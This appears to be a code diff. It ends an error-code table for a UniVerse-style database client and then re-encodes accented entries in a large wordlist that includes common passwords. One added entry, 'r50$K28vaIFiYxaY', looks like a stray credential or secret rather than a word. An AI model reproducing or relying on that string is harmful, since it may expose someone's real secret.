||||
30128: "UVE_CREATE_FAILED",
|
||||
30129: "UVE_DUPHANDLE_FAILED",
|
||||
31000: "UVE_NVR",
|
||||
31001: "UVE_NPN",
|
||||
39101: "UVE_NODATA",
|
||||
39119: "UVE_AT_INPUT",
|
||||
39120: "UVE_SESSION_NOT_OPEN",
|
||||
39121: "UVE_UVEXPIRED",
|
||||
39122: "UVE_CSVERSION",
|
||||
39123: "UVE_COMMSVERSION",
|
||||
39124: "UVE_BADSIG",
|
||||
39125: "UVE_BADDIR",
|
||||
39127: "UVE_BAD_UVHOME",
|
||||
39128: "UVE_INVALIDPATH",
|
||||
39129: "UVE_INVALIDACCOUNT",
|
||||
39130: "UVE_BAD_UVACCOUNT_FILE",
|
||||
39131: "UVE_FTA_NEW_ACCOUNT",
|
||||
39134: "UVE_ULR",
|
||||
39135: "UVE_NO_NLS",
|
||||
39136: "UVE_MAP_NOT_FOUND",
|
||||
39137: "UVE_NO_LOCALE",
|
||||
39138: "UVE_LOCALE_NOT_FOUND",
|
||||
39139: "UVE_CATEGORY_NOT_FOUND",
|
||||
39201: "UVE_SR_SOCK_CON_FAIL",
|
||||
39210: "UVE_SR_SELECT_FAIL",
|
||||
39211: "UVE_SR_SELECT_TIMEOUT",
|
||||
40001: "UVE_INVALIDFIELD",
|
||||
40002: "UVE_SESSIONEXISTS",
|
||||
40003: "UVE_BADPARAM",
|
||||
40004: "UVE_BADOBJECT",
|
||||
40005: "UVE_NOMORE",
|
||||
40006: "UVE_NOTATINPUT",
|
||||
40007: "UVE_INVALID_DATAFIELD",
|
||||
40008: "UVE_BAD_DICTIONARY_ ENTRY",
|
||||
40009: "UVE_BAD_CONVERSION_ DATA",
|
||||
45000: "UVE_FILE_NOT_OPEN",
|
||||
45001: "UVE_OPENSESSION_ERR",
|
||||
45002: "UVE_NONNULL_RECORDID",
|
||||
80011: "UVE_BAD_LOGINNAME",
|
||||
80019: "UVE_BAD_PASSWORD",
|
||||
80144: "UVE_ACCOUNT_EXPIRED",
|
||||
80147: "UVE_RUN_REMOTE_FAILED",
|
||||
80148: "UVE_UPDATE_USER_FAILED",
|
||||
81001: "UVE_RPC_BAD_CONNECTION",
|
||||
81002: "UVE_RPC_NO_CONNECTION",
|
||||
81005: "UVE_RPC_WRONG_VERSION",
|
||||
81007: "UVE_RPC_NO_MORE_ CONNECTIONS",
|
||||
81009: "UVE_RPC_FAILED",
|
||||
81011: "UVE_RPC_UNKNOWN_HOST",
|
||||
81014: "UVE_RPC_CANT_FIND_ SERVICE",
|
||||
81015: "UVE_RPC_TIMEOUT",
|
||||
81016: "UVE_RPC_REFUSED",
|
||||
81017: "UVE_RPC_SOCKET_INIT_ FAILED",
|
||||
81018: "UVE_RPC_SERVICE_PAUSED",
|
||||
81019: "UVE_RPC_BAD_TRANSPORT",
|
||||
81020: "UVE_RPC_BAD_PIPE",
|
||||
81021: "UVE_RPC_PIPE_WRITE_ERROR",
|
||||
81022: "UVE_RPC_PIPE_READ_ERROR"
|
||||
}
|
||||
+306
-305
@@ -274,8 +274,8 @@ abbreviating
|
||||
abbreviation
|
||||
abby
|
||||
abbye
|
||||
abbé
|
||||
abbés
|
||||
abbé
|
||||
abbés
|
||||
abc
|
||||
abc123
|
||||
abcd
|
||||
@@ -975,7 +975,7 @@ adipose
|
||||
adiposes
|
||||
adirondack
|
||||
adirondacks
|
||||
adiós
|
||||
adiós
|
||||
adj
|
||||
adjacency
|
||||
adjacent
|
||||
@@ -1573,7 +1573,7 @@ aidan
|
||||
aide
|
||||
aide-de-camp
|
||||
aide-memoires
|
||||
aide-mémoire
|
||||
aide-mémoire
|
||||
aided
|
||||
aider
|
||||
aides-de-camp
|
||||
@@ -3006,7 +3006,7 @@ animistic
|
||||
animized
|
||||
animosity
|
||||
animus
|
||||
animé
|
||||
animé
|
||||
anion
|
||||
anionic
|
||||
anise
|
||||
@@ -3615,10 +3615,10 @@ applicator
|
||||
applier
|
||||
appliers
|
||||
applique
|
||||
appliqué
|
||||
appliquéd
|
||||
appliquéing
|
||||
appliqués
|
||||
appliqué
|
||||
appliquéd
|
||||
appliquéing
|
||||
appliqués
|
||||
apply
|
||||
appoint
|
||||
appointee
|
||||
@@ -4274,8 +4274,8 @@ arvy
|
||||
aryan
|
||||
aryanism
|
||||
aryn
|
||||
arête
|
||||
arêtes
|
||||
arête
|
||||
arêtes
|
||||
as
|
||||
asa
|
||||
asama
|
||||
@@ -4618,7 +4618,7 @@ asturias
|
||||
astute
|
||||
astuteness
|
||||
asuncion
|
||||
asunción
|
||||
asunción
|
||||
asunder
|
||||
aswan
|
||||
asyllabic
|
||||
@@ -4643,7 +4643,7 @@ atalanta
|
||||
atamelang
|
||||
atari
|
||||
ataturk
|
||||
atatürk
|
||||
atatürk
|
||||
atavism
|
||||
atavist
|
||||
atavistic
|
||||
@@ -4742,7 +4742,7 @@ attached
|
||||
attacher
|
||||
attaches
|
||||
attachment
|
||||
attaché
|
||||
attaché
|
||||
attack
|
||||
attackable
|
||||
attacker
|
||||
@@ -6141,7 +6141,7 @@ bartolomeo
|
||||
barton
|
||||
bartram
|
||||
barty
|
||||
bartók
|
||||
bartók
|
||||
baruch
|
||||
barvale
|
||||
barvallen
|
||||
@@ -7880,7 +7880,7 @@ blast
|
||||
blaster
|
||||
blasting
|
||||
blastoff
|
||||
blasé
|
||||
blasé
|
||||
blat
|
||||
blatancy
|
||||
blatant
|
||||
@@ -8433,7 +8433,7 @@ bogotified
|
||||
bogotifies
|
||||
bogotify
|
||||
bogotifying
|
||||
bogotá
|
||||
bogotá
|
||||
bogus
|
||||
bogy
|
||||
bogyman
|
||||
@@ -8911,7 +8911,7 @@ botulinum
|
||||
botulinus
|
||||
botulism
|
||||
boucher
|
||||
bouclé
|
||||
bouclé
|
||||
boudicca
|
||||
boudoir
|
||||
bouffant
|
||||
@@ -8962,13 +8962,13 @@ bourne
|
||||
bournemouth
|
||||
bourree
|
||||
bourses
|
||||
bourée
|
||||
bourée
|
||||
boustrophedon
|
||||
bout
|
||||
boutique
|
||||
boutonniere
|
||||
boutonnière
|
||||
boutonnières
|
||||
boutonnière
|
||||
boutonnières
|
||||
bouvier
|
||||
bouzouki
|
||||
bovary
|
||||
@@ -9052,7 +9052,7 @@ boyscout
|
||||
boysenberry
|
||||
boyup
|
||||
bozo
|
||||
boötes
|
||||
boötes
|
||||
bp
|
||||
bpi
|
||||
bpoe
|
||||
@@ -9435,7 +9435,7 @@ bribery
|
||||
bribie
|
||||
bric
|
||||
bric-a-brac
|
||||
bric-à-brac
|
||||
bric-à-brac
|
||||
brice
|
||||
brick
|
||||
brick-red
|
||||
@@ -10472,7 +10472,7 @@ buzzer
|
||||
buzzing
|
||||
buzzword
|
||||
buzzy
|
||||
buñuel
|
||||
buñuel
|
||||
bx
|
||||
bxs
|
||||
by
|
||||
@@ -10528,10 +10528,10 @@ byway
|
||||
byword
|
||||
byzantine
|
||||
byzantium
|
||||
bêche
|
||||
bête
|
||||
bêtes
|
||||
bêtise
|
||||
bêche
|
||||
bête
|
||||
bêtes
|
||||
bêtise
|
||||
c
|
||||
c.elegans
|
||||
c.lit.
|
||||
@@ -10646,8 +10646,8 @@ caffeinated
|
||||
caffeine
|
||||
caftan
|
||||
cafutweni
|
||||
café
|
||||
cafés
|
||||
café
|
||||
cafés
|
||||
cage
|
||||
caged
|
||||
cager
|
||||
@@ -10962,8 +10962,8 @@ canalization
|
||||
canalize
|
||||
canalling
|
||||
canape
|
||||
canapé
|
||||
canapés
|
||||
canapé
|
||||
canapés
|
||||
canard
|
||||
canaries
|
||||
canary
|
||||
@@ -13334,11 +13334,11 @@ chutzpahs
|
||||
chuvash
|
||||
chweni
|
||||
chyme
|
||||
château
|
||||
châteaus
|
||||
châteaux
|
||||
châtelaine
|
||||
châtelaines
|
||||
château
|
||||
châteaus
|
||||
châteaux
|
||||
châtelaine
|
||||
châtelaines
|
||||
ci
|
||||
cia
|
||||
ciao
|
||||
@@ -13840,15 +13840,15 @@ clewer
|
||||
cliburn
|
||||
cliche
|
||||
cliched
|
||||
cliché
|
||||
clichéd
|
||||
clichés
|
||||
cliché
|
||||
clichéd
|
||||
clichés
|
||||
click
|
||||
clicker
|
||||
clicking
|
||||
client
|
||||
clientele
|
||||
clientèle
|
||||
clientèle
|
||||
cliff
|
||||
cliff-hanger
|
||||
cliffdale
|
||||
@@ -13951,7 +13951,7 @@ clogged
|
||||
clogging
|
||||
cloisonne
|
||||
cloisonnes
|
||||
cloisonné
|
||||
cloisonné
|
||||
cloister
|
||||
cloistral
|
||||
clomp
|
||||
@@ -14968,7 +14968,7 @@ communing
|
||||
communion
|
||||
communique
|
||||
communiques
|
||||
communiqué
|
||||
communiqué
|
||||
communise
|
||||
communism
|
||||
communist
|
||||
@@ -15196,8 +15196,8 @@ computerize
|
||||
computes
|
||||
computicket
|
||||
computing
|
||||
compère
|
||||
compères
|
||||
compère
|
||||
compères
|
||||
comrade
|
||||
comradeliest
|
||||
comradeliness
|
||||
@@ -15241,7 +15241,7 @@ concentrator
|
||||
concentric
|
||||
concentrically
|
||||
concepcion
|
||||
concepción
|
||||
concepción
|
||||
concept
|
||||
conception
|
||||
conceptional
|
||||
@@ -15504,8 +15504,8 @@ confrontation
|
||||
confrontational
|
||||
confrontationally
|
||||
confronter
|
||||
confrère
|
||||
confrères
|
||||
confrère
|
||||
confrères
|
||||
confucian
|
||||
confucianism
|
||||
confucius
|
||||
@@ -15755,8 +15755,8 @@ consolidation
|
||||
consolidator
|
||||
consoling
|
||||
consomme
|
||||
consommé
|
||||
consommés
|
||||
consommé
|
||||
consommés
|
||||
consonance
|
||||
consonances
|
||||
consonant
|
||||
@@ -16539,8 +16539,8 @@ cortisone
|
||||
cortland
|
||||
cortney
|
||||
corty
|
||||
cortège
|
||||
cortèges
|
||||
cortège
|
||||
cortèges
|
||||
corundum
|
||||
coruscate
|
||||
coruscation
|
||||
@@ -16657,8 +16657,8 @@ coulis
|
||||
coulomb
|
||||
coulter
|
||||
coulthard
|
||||
coulée
|
||||
coulées
|
||||
coulée
|
||||
coulées
|
||||
council
|
||||
councillor
|
||||
councilman
|
||||
@@ -16791,7 +16791,7 @@ couples
|
||||
couplet
|
||||
coupling
|
||||
coupon
|
||||
coupé
|
||||
coupé
|
||||
cour
|
||||
courage
|
||||
courageous
|
||||
@@ -17506,8 +17506,8 @@ crowning
|
||||
crows
|
||||
croydon
|
||||
crozier
|
||||
croûton
|
||||
croûtons
|
||||
croûton
|
||||
croûtons
|
||||
crt
|
||||
crucial
|
||||
cruciate
|
||||
@@ -17526,7 +17526,7 @@ crude
|
||||
crudeness
|
||||
crudites
|
||||
crudity
|
||||
crudités
|
||||
crudités
|
||||
cruel
|
||||
cruelled
|
||||
cruelling
|
||||
@@ -17634,12 +17634,12 @@ crystallographer
|
||||
crystallographic
|
||||
crystallography
|
||||
crystie
|
||||
crèche
|
||||
crèches
|
||||
crème
|
||||
crêpe
|
||||
crêpes
|
||||
crêpey
|
||||
crèche
|
||||
crèches
|
||||
crème
|
||||
crêpe
|
||||
crêpes
|
||||
crêpey
|
||||
cs
|
||||
csa
|
||||
cse
|
||||
@@ -18113,7 +18113,7 @@ czechoslovakian
|
||||
czechs
|
||||
czerniak
|
||||
czerny
|
||||
côte
|
||||
côte
|
||||
d
|
||||
da
|
||||
daantjie
|
||||
@@ -18299,7 +18299,7 @@ damson
|
||||
dan
|
||||
dana
|
||||
danarand
|
||||
danaë
|
||||
danaë
|
||||
danbury
|
||||
dance
|
||||
danceable
|
||||
@@ -19951,8 +19951,8 @@ derrik
|
||||
derril
|
||||
derrinallum
|
||||
derringer
|
||||
derrière
|
||||
derrières
|
||||
derrière
|
||||
derrières
|
||||
derron
|
||||
derry
|
||||
dersley
|
||||
@@ -20447,7 +20447,7 @@ diamagnetic
|
||||
diamante
|
||||
diamanthoogte
|
||||
diamantina
|
||||
diamanté
|
||||
diamanté
|
||||
diameter
|
||||
diametric
|
||||
diametrical
|
||||
@@ -21077,8 +21077,8 @@ discordant
|
||||
discorporate
|
||||
discorporated
|
||||
discotheque
|
||||
discothèque
|
||||
discothèques
|
||||
discothèque
|
||||
discothèques
|
||||
discount
|
||||
discountability
|
||||
discountable
|
||||
@@ -21613,9 +21613,9 @@ divisor
|
||||
divorce
|
||||
divorcee
|
||||
divorcement
|
||||
divorcé
|
||||
divorcée
|
||||
divorcées
|
||||
divorcé
|
||||
divorcée
|
||||
divorcées
|
||||
divot
|
||||
divulge
|
||||
divvy
|
||||
@@ -22000,7 +22000,7 @@ dopiness
|
||||
dopinesses
|
||||
doping
|
||||
doppelganger
|
||||
doppelgänger
|
||||
doppelgänger
|
||||
doppies
|
||||
doppler
|
||||
dopy
|
||||
@@ -22077,7 +22077,7 @@ dorthea
|
||||
dorthy
|
||||
dortmund
|
||||
dory
|
||||
doré
|
||||
doré
|
||||
dos
|
||||
dosage
|
||||
dose
|
||||
@@ -22553,7 +22553,7 @@ drowse
|
||||
drowsily
|
||||
drowsiness
|
||||
drowsy
|
||||
droëwors
|
||||
droëwors
|
||||
dru
|
||||
drub
|
||||
drubbed
|
||||
@@ -22948,7 +22948,7 @@ duynefontein
|
||||
dvd
|
||||
dvina
|
||||
dvorak
|
||||
dvorák
|
||||
dvorák
|
||||
dwaal
|
||||
dwaalboom
|
||||
dwain
|
||||
@@ -23034,33 +23034,33 @@ dzimauli
|
||||
dzongkha
|
||||
dzumeri
|
||||
dzungaria
|
||||
début
|
||||
débutante
|
||||
débutantes
|
||||
débuts
|
||||
débâcle
|
||||
débâcles
|
||||
déclassé
|
||||
déclassée
|
||||
décolletage
|
||||
décolletages
|
||||
décolleté
|
||||
décolletée
|
||||
décor
|
||||
décors
|
||||
découpage
|
||||
déjà
|
||||
démodé
|
||||
dénouement
|
||||
dépaysé
|
||||
dépaysée
|
||||
dérailleur
|
||||
dérailleurs
|
||||
déshabillé
|
||||
détente
|
||||
détentes
|
||||
dürer
|
||||
düsseldorf
|
||||
début
|
||||
débutante
|
||||
débutantes
|
||||
débuts
|
||||
débâcle
|
||||
débâcles
|
||||
déclassé
|
||||
déclassée
|
||||
décolletage
|
||||
décolletages
|
||||
décolleté
|
||||
décolletée
|
||||
décor
|
||||
décors
|
||||
découpage
|
||||
déjà
|
||||
démodé
|
||||
dénouement
|
||||
dépaysé
|
||||
dépaysée
|
||||
dérailleur
|
||||
dérailleurs
|
||||
déshabillé
|
||||
détente
|
||||
détentes
|
||||
dürer
|
||||
düsseldorf
|
||||
e
|
||||
e-commerce
|
||||
e-mail
|
||||
@@ -24137,7 +24137,7 @@ elysia
|
||||
elysian
|
||||
elysium
|
||||
elyssa
|
||||
elysée
|
||||
elysée
|
||||
em
|
||||
ema
|
||||
emabheleni
|
||||
@@ -24869,8 +24869,8 @@ entreatingly
|
||||
entreaty
|
||||
entrechat
|
||||
entrecote
|
||||
entrecôte
|
||||
entrecôtes
|
||||
entrecôte
|
||||
entrecôtes
|
||||
entree
|
||||
entrees
|
||||
entremets
|
||||
@@ -24880,8 +24880,8 @@ entrepot
|
||||
entrepreneur
|
||||
entrepreneurial
|
||||
entrepreneurship
|
||||
entrepôt
|
||||
entrepôts
|
||||
entrepôt
|
||||
entrepôts
|
||||
entries
|
||||
entropic
|
||||
entropy
|
||||
@@ -24890,8 +24890,8 @@ entry
|
||||
entryphone
|
||||
entryphones
|
||||
entryway
|
||||
entrée
|
||||
entrées
|
||||
entrée
|
||||
entrées
|
||||
entshonalanga
|
||||
entshongwe
|
||||
entumbane
|
||||
@@ -25442,7 +25442,7 @@ ester
|
||||
estera
|
||||
esterase
|
||||
esterhazy
|
||||
esterházy
|
||||
esterházy
|
||||
esterpark
|
||||
estes
|
||||
estevan
|
||||
@@ -26239,8 +26239,8 @@ expository
|
||||
expostulate
|
||||
expostulation
|
||||
exposure
|
||||
exposé
|
||||
exposés
|
||||
exposé
|
||||
exposés
|
||||
expound
|
||||
expounder
|
||||
express
|
||||
@@ -26493,7 +26493,7 @@ fab
|
||||
fabe
|
||||
faber
|
||||
faberge
|
||||
fabergé
|
||||
fabergé
|
||||
fabian
|
||||
fabiano
|
||||
fabians
|
||||
@@ -27073,10 +27073,10 @@ fays
|
||||
fayth
|
||||
faythe
|
||||
faze
|
||||
façade
|
||||
façades
|
||||
faïence
|
||||
faïences
|
||||
façade
|
||||
façades
|
||||
faïence
|
||||
faïences
|
||||
fbi
|
||||
fcc
|
||||
fd
|
||||
@@ -27438,10 +27438,10 @@ fi
|
||||
fia
|
||||
fiance
|
||||
fiancee
|
||||
fiancé
|
||||
fiancée
|
||||
fiancées
|
||||
fiancés
|
||||
fiancé
|
||||
fiancée
|
||||
fiancées
|
||||
fiancés
|
||||
fiann
|
||||
fianna
|
||||
fiasco
|
||||
@@ -28051,10 +28051,10 @@ flambes
|
||||
flamboyance
|
||||
flamboyancy
|
||||
flamboyant
|
||||
flambé
|
||||
flambéed
|
||||
flambéing
|
||||
flambés
|
||||
flambé
|
||||
flambéed
|
||||
flambéing
|
||||
flambés
|
||||
flame
|
||||
flame-proof
|
||||
flame-proofed
|
||||
@@ -29111,7 +29111,7 @@ fosterer
|
||||
fostering
|
||||
fotomat
|
||||
foucault
|
||||
fouché
|
||||
fouché
|
||||
fought
|
||||
foul
|
||||
foul-mouth
|
||||
@@ -29306,14 +29306,14 @@ franticness
|
||||
frants
|
||||
franz
|
||||
franzen
|
||||
françois
|
||||
françoise
|
||||
françois
|
||||
françoise
|
||||
frap
|
||||
frappe
|
||||
frappeed
|
||||
frappeing
|
||||
frappes
|
||||
frappé
|
||||
frappé
|
||||
frasco
|
||||
fraser
|
||||
fraserburg
|
||||
@@ -29993,11 +29993,11 @@ fy
|
||||
fyi
|
||||
fynbos
|
||||
fynnland
|
||||
fête
|
||||
fêtes
|
||||
föhn
|
||||
führer
|
||||
führers
|
||||
fête
|
||||
fêtes
|
||||
föhn
|
||||
führer
|
||||
führers
|
||||
g
|
||||
g-string
|
||||
g-strings
|
||||
@@ -30428,8 +30428,8 @@ garwin
|
||||
garwood
|
||||
gary
|
||||
garza
|
||||
garçon
|
||||
garçons
|
||||
garçon
|
||||
garçons
|
||||
gas
|
||||
gas-permeable
|
||||
gasbag
|
||||
@@ -31012,7 +31012,7 @@ gettysburg
|
||||
getup
|
||||
gewgaw
|
||||
gewurztraminer
|
||||
gewürztraminer
|
||||
gewürztraminer
|
||||
geysdorp
|
||||
geyser
|
||||
gezangave
|
||||
@@ -31316,10 +31316,10 @@ glaciological
|
||||
glaciologist
|
||||
glaciology
|
||||
glacis
|
||||
glacé
|
||||
glacéed
|
||||
glacéing
|
||||
glacés
|
||||
glacé
|
||||
glacéed
|
||||
glacéing
|
||||
glacés
|
||||
glad
|
||||
gladded
|
||||
gladden
|
||||
@@ -32726,11 +32726,11 @@ grus
|
||||
grusky
|
||||
gruyere
|
||||
gruyeres
|
||||
gruyère
|
||||
gruyère
|
||||
gryphon
|
||||
grysvok
|
||||
grâce
|
||||
grünewald
|
||||
grâce
|
||||
grünewald
|
||||
gs
|
||||
gsa
|
||||
gsm
|
||||
@@ -33098,8 +33098,8 @@ gyromagnetic
|
||||
gyroscope
|
||||
gyroscopic
|
||||
gyve
|
||||
gödel
|
||||
göteborg
|
||||
gödel
|
||||
göteborg
|
||||
h
|
||||
h2opolo
|
||||
ha
|
||||
@@ -33137,8 +33137,8 @@ habitualness
|
||||
habituate
|
||||
habituation
|
||||
habitue
|
||||
habitué
|
||||
habitués
|
||||
habitué
|
||||
habitués
|
||||
hacienda
|
||||
hack
|
||||
hackable
|
||||
@@ -36618,7 +36618,7 @@ hysterical
|
||||
hystericism
|
||||
hyundai
|
||||
hz
|
||||
héloise
|
||||
héloise
|
||||
i
|
||||
i.e.
|
||||
ia
|
||||
@@ -38232,8 +38232,8 @@ inguinal
|
||||
ingunna
|
||||
ingvar
|
||||
ingwavuma
|
||||
ingénue
|
||||
ingénues
|
||||
ingénue
|
||||
ingénues
|
||||
inhabit
|
||||
inhabitable
|
||||
inhabitance
|
||||
@@ -39844,8 +39844,8 @@ jakey
|
||||
jakie
|
||||
jakob
|
||||
jalapeno
|
||||
jalapeño
|
||||
jalapeños
|
||||
jalapeño
|
||||
jalapeños
|
||||
jalopy
|
||||
jalousie
|
||||
jam
|
||||
@@ -39963,8 +39963,8 @@ jarad
|
||||
jard
|
||||
jardine
|
||||
jardiniere
|
||||
jardinière
|
||||
jardinières
|
||||
jardinière
|
||||
jardinières
|
||||
jareb
|
||||
jared
|
||||
jarful
|
||||
@@ -40579,7 +40579,7 @@ jostle
|
||||
jostling
|
||||
josue
|
||||
josy
|
||||
josé
|
||||
josé
|
||||
jot
|
||||
jotted
|
||||
jotter
|
||||
@@ -41766,8 +41766,8 @@ kinder
|
||||
kindergarten
|
||||
kindergartener
|
||||
kindergartner
|
||||
kindergärtner
|
||||
kindergärtners
|
||||
kindergärtner
|
||||
kindergärtners
|
||||
kindest
|
||||
kindhearted
|
||||
kindheartedness
|
||||
@@ -42434,8 +42434,8 @@ krystal
|
||||
krystalle
|
||||
krystle
|
||||
krystyna
|
||||
króna
|
||||
krónur
|
||||
króna
|
||||
krónur
|
||||
ks
|
||||
kshatriya
|
||||
kt
|
||||
@@ -42926,7 +42926,7 @@ lamport
|
||||
lamppost
|
||||
lamprey
|
||||
lampshade
|
||||
lamé
|
||||
lamé
|
||||
lan
|
||||
lana
|
||||
lanae
|
||||
@@ -44646,8 +44646,8 @@ littleness
|
||||
littleton
|
||||
litton
|
||||
littoral
|
||||
littérateur
|
||||
littérateurs
|
||||
littérateur
|
||||
littérateurs
|
||||
liturgic
|
||||
liturgical
|
||||
liturgics
|
||||
@@ -44939,7 +44939,7 @@ lombard
|
||||
lombardi
|
||||
lombardy
|
||||
lome
|
||||
lomé
|
||||
lomé
|
||||
lon
|
||||
lona
|
||||
london
|
||||
@@ -45496,7 +45496,7 @@ luminescent
|
||||
luminosity
|
||||
luminous
|
||||
luminousness
|
||||
lumière
|
||||
lumière
|
||||
lumku
|
||||
lummox
|
||||
lump
|
||||
@@ -45655,7 +45655,7 @@ lychgate
|
||||
lycopodium
|
||||
lycra
|
||||
lycurgus
|
||||
lycée
|
||||
lycée
|
||||
lyda
|
||||
lydenburg
|
||||
lydia
|
||||
@@ -45858,8 +45858,8 @@ macos
|
||||
macpaint
|
||||
macquarie
|
||||
macrame
|
||||
macramé
|
||||
macramés
|
||||
macramé
|
||||
macramés
|
||||
macro
|
||||
macrobiotic
|
||||
macrobiotics
|
||||
@@ -46414,7 +46414,7 @@ mallala
|
||||
mallapunyah
|
||||
mallard
|
||||
mallarme
|
||||
mallarmé
|
||||
mallarmé
|
||||
malleability
|
||||
malleable
|
||||
malleableness
|
||||
@@ -46696,7 +46696,7 @@ manorial
|
||||
manpower
|
||||
manque
|
||||
manquzu
|
||||
manqué
|
||||
manqué
|
||||
mans
|
||||
mansard
|
||||
manse
|
||||
@@ -46758,10 +46758,10 @@ manzengwenya
|
||||
manzi
|
||||
manzibomvu
|
||||
manzimahle
|
||||
manège
|
||||
manèged
|
||||
manèges
|
||||
manèging
|
||||
manège
|
||||
manèged
|
||||
manèges
|
||||
manèging
|
||||
mao
|
||||
maoism
|
||||
maoist
|
||||
@@ -47448,7 +47448,7 @@ matimatolo
|
||||
matinee
|
||||
mating
|
||||
matins
|
||||
matinée
|
||||
matinée
|
||||
matisse
|
||||
matiwane
|
||||
matjeka
|
||||
@@ -47540,8 +47540,8 @@ matzoh
|
||||
matzot
|
||||
matzoth
|
||||
matzotshweni
|
||||
matériel
|
||||
matériels
|
||||
matériel
|
||||
matériels
|
||||
mau
|
||||
maubane
|
||||
maud
|
||||
@@ -47688,8 +47688,8 @@ mazourka
|
||||
mazurka
|
||||
mazy
|
||||
mazzini
|
||||
maître
|
||||
mañana
|
||||
maître
|
||||
mañana
|
||||
mb
|
||||
mba
|
||||
mbabane
|
||||
@@ -51549,15 +51549,15 @@ mzomusha
|
||||
mzonga
|
||||
mzonyane
|
||||
mzotho
|
||||
mélange
|
||||
mémoire
|
||||
ménage
|
||||
métier
|
||||
métiers
|
||||
mêlée
|
||||
mêlées
|
||||
möbius
|
||||
münchhausen
|
||||
mélange
|
||||
mémoire
|
||||
ménage
|
||||
métier
|
||||
métiers
|
||||
mêlée
|
||||
mêlées
|
||||
möbius
|
||||
münchhausen
|
||||
n
|
||||
na
|
||||
naaco
|
||||
@@ -51632,8 +51632,8 @@ naive
|
||||
naiveness
|
||||
naivete
|
||||
naivety
|
||||
naiveté
|
||||
naivetés
|
||||
naiveté
|
||||
naivetés
|
||||
nakamura
|
||||
nakayama
|
||||
naked
|
||||
@@ -51939,13 +51939,13 @@ nazca
|
||||
nazi
|
||||
naziism
|
||||
nazism
|
||||
naïve
|
||||
naïvely
|
||||
naïveness
|
||||
naïveties
|
||||
naïvety
|
||||
naïveté
|
||||
naïvetés
|
||||
naïve
|
||||
naïvely
|
||||
naïveness
|
||||
naïveties
|
||||
naïvety
|
||||
naïveté
|
||||
naïvetés
|
||||
nb
|
||||
nba
|
||||
nbc
|
||||
@@ -52136,8 +52136,8 @@ negligent
|
||||
negligibility
|
||||
negligible
|
||||
negligibly
|
||||
negligée
|
||||
negligées
|
||||
negligée
|
||||
negligées
|
||||
negotiability
|
||||
negotiable
|
||||
negotiant
|
||||
@@ -54074,10 +54074,10 @@ nouakchott
|
||||
nougat
|
||||
nought
|
||||
noumea
|
||||
nouméa
|
||||
nouméa
|
||||
noun
|
||||
nounal
|
||||
nounéa
|
||||
nounéa
|
||||
noupoort
|
||||
nourish
|
||||
nourished
|
||||
@@ -54431,10 +54431,10 @@ nzima
|
||||
nzimakazi
|
||||
nzokhulayo
|
||||
nzombane
|
||||
nè
|
||||
né
|
||||
née
|
||||
négligé
|
||||
nè
|
||||
né
|
||||
née
|
||||
négligé
|
||||
o
|
||||
oaf
|
||||
oafish
|
||||
@@ -55069,7 +55069,7 @@ olympian
|
||||
olympic
|
||||
olympie
|
||||
olympus
|
||||
olé
|
||||
olé
|
||||
om
|
||||
omagh
|
||||
omaha
|
||||
@@ -55933,7 +55933,7 @@ outrigger
|
||||
outright
|
||||
outrun
|
||||
outrunning
|
||||
outré
|
||||
outré
|
||||
outscore
|
||||
outsell
|
||||
outset
|
||||
@@ -57060,7 +57060,7 @@ paranoiac
|
||||
paranoid
|
||||
paranormal
|
||||
paranormally
|
||||
paraná
|
||||
paraná
|
||||
parapet
|
||||
paraphernalia
|
||||
paraphrase
|
||||
@@ -57357,8 +57357,8 @@ passwd
|
||||
password
|
||||
password1
|
||||
passworded
|
||||
passé
|
||||
passée
|
||||
passé
|
||||
passée
|
||||
past
|
||||
pasta
|
||||
paste
|
||||
@@ -59360,10 +59360,10 @@ pizzazz
|
||||
pizzeria
|
||||
pizzicati
|
||||
pizzicato
|
||||
piñata
|
||||
piñatas
|
||||
piñon
|
||||
piñons
|
||||
piñata
|
||||
piñatas
|
||||
piñon
|
||||
piñons
|
||||
pj
|
||||
pk
|
||||
pkg
|
||||
@@ -59854,7 +59854,7 @@ poignancy
|
||||
poignant
|
||||
poikilothermic
|
||||
poincare
|
||||
poincaré
|
||||
poincaré
|
||||
poinciana
|
||||
poincianas
|
||||
poindexter
|
||||
@@ -60303,8 +60303,8 @@ portie
|
||||
portiere
|
||||
porting
|
||||
portion
|
||||
portière
|
||||
portières
|
||||
portière
|
||||
portières
|
||||
portland
|
||||
portliness
|
||||
portly
|
||||
@@ -61002,10 +61002,10 @@ premise
|
||||
premiss
|
||||
premium
|
||||
premix
|
||||
première
|
||||
premièred
|
||||
premières
|
||||
premièring
|
||||
première
|
||||
premièred
|
||||
premières
|
||||
premièring
|
||||
premolar
|
||||
premonition
|
||||
premonitory
|
||||
@@ -61923,10 +61923,10 @@ protrusively
|
||||
protrusiveness
|
||||
protuberance
|
||||
protuberant
|
||||
protégé
|
||||
protégée
|
||||
protégées
|
||||
protégés
|
||||
protégé
|
||||
protégée
|
||||
protégées
|
||||
protégés
|
||||
proud
|
||||
proudhon
|
||||
proust
|
||||
@@ -61946,7 +61946,7 @@ provence
|
||||
provender
|
||||
provenience
|
||||
provenly
|
||||
provençal
|
||||
provençal
|
||||
prover
|
||||
proverb
|
||||
proverbial
|
||||
@@ -62019,10 +62019,10 @@ pryce
|
||||
pryer
|
||||
prying
|
||||
pryor
|
||||
précis
|
||||
précised
|
||||
précises
|
||||
précising
|
||||
précis
|
||||
précised
|
||||
précises
|
||||
précising
|
||||
ps
|
||||
psalm
|
||||
psalmist
|
||||
@@ -62429,10 +62429,10 @@ purvey
|
||||
purveyance
|
||||
purveyor
|
||||
purview
|
||||
purée
|
||||
puréed
|
||||
puréeing
|
||||
purées
|
||||
purée
|
||||
puréed
|
||||
puréeing
|
||||
purées
|
||||
pus
|
||||
pusan
|
||||
pusey
|
||||
@@ -62580,10 +62580,10 @@ pyxidia
|
||||
pyxidium
|
||||
pyxis
|
||||
pzazz
|
||||
pâté
|
||||
pères
|
||||
pétain
|
||||
pôrto
|
||||
pâté
|
||||
pères
|
||||
pétain
|
||||
pôrto
|
||||
q
|
||||
q-tips.
|
||||
q-town
|
||||
@@ -63018,6 +63018,7 @@ r1
|
||||
r1s
|
||||
r4
|
||||
r4s
|
||||
r50$K28vaIFiYxaY
|
||||
ra
|
||||
raapkraal
|
||||
rab
|
||||
@@ -63215,7 +63216,7 @@ ragingly
|
||||
raglan
|
||||
ragnar
|
||||
ragnarok
|
||||
ragnarök
|
||||
ragnarök
|
||||
ragout
|
||||
rags-to-riches
|
||||
ragtag
|
||||
@@ -64150,7 +64151,7 @@ recharter
|
||||
recheck
|
||||
recherche
|
||||
recherches
|
||||
recherché
|
||||
recherché
|
||||
rechristen
|
||||
